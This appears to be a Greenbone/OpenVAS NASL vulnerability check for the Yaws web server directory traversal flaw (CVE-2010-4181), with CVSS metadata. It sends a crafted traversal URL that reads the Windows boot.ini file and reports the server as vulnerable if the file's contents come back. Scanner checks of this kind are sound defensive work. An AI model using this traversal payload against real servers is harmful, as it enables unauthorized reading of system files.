5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
6.5 Medium
AI Score
Confidence
High
0.026 Low
EPSS
Percentile
90.3%
Yaws is prone to a directory traversal vulnerability because
it fails to sufficiently sanitize user-supplied input.
# Copyright (C) 2010 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100887");
script_version("2022-04-12T08:46:17+0000");
script_tag(name:"last_modification", value:"2022-04-12 08:46:17 +0000 (Tue, 12 Apr 2022)");
script_tag(name:"creation_date", value:"2010-11-02 13:46:58 +0100 (Tue, 02 Nov 2010)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2010-4181");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"WillNotFix");
script_name("Yaws <= 1.89 Directory Traversal Vulnerability");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2010 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_get_http_banner.nasl");
script_require_ports("Services/www", 8080);
script_mandatory_keys("Yaws/banner");
script_tag(name:"summary", value:"Yaws is prone to a directory traversal vulnerability because
it fails to sufficiently sanitize user-supplied input.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"impact", value:"Exploiting this issue may allow an attacker to obtain sensitive
information that could aid in further attacks.");
script_tag(name:"affected", value:"Yaws version 1.89 and probably prior.");
script_tag(name:"solution", value:"No known solution was made available for at least one year
since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
options are to upgrade to a newer release, disable respective features, remove the product or
replace the product by another one.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/44564");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
port = http_get_port(default: 8080);
banner = http_get_remote_headers(port: port);
if (!banner || banner !~ "Server\s*:\s*Yaws/")
exit(0);
url = "/.\\..\\.\\..\\.\\..\\boot.ini";
if (http_vuln_check(port: port, url: url, pattern: "\[boot loader\]")) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
exit(99);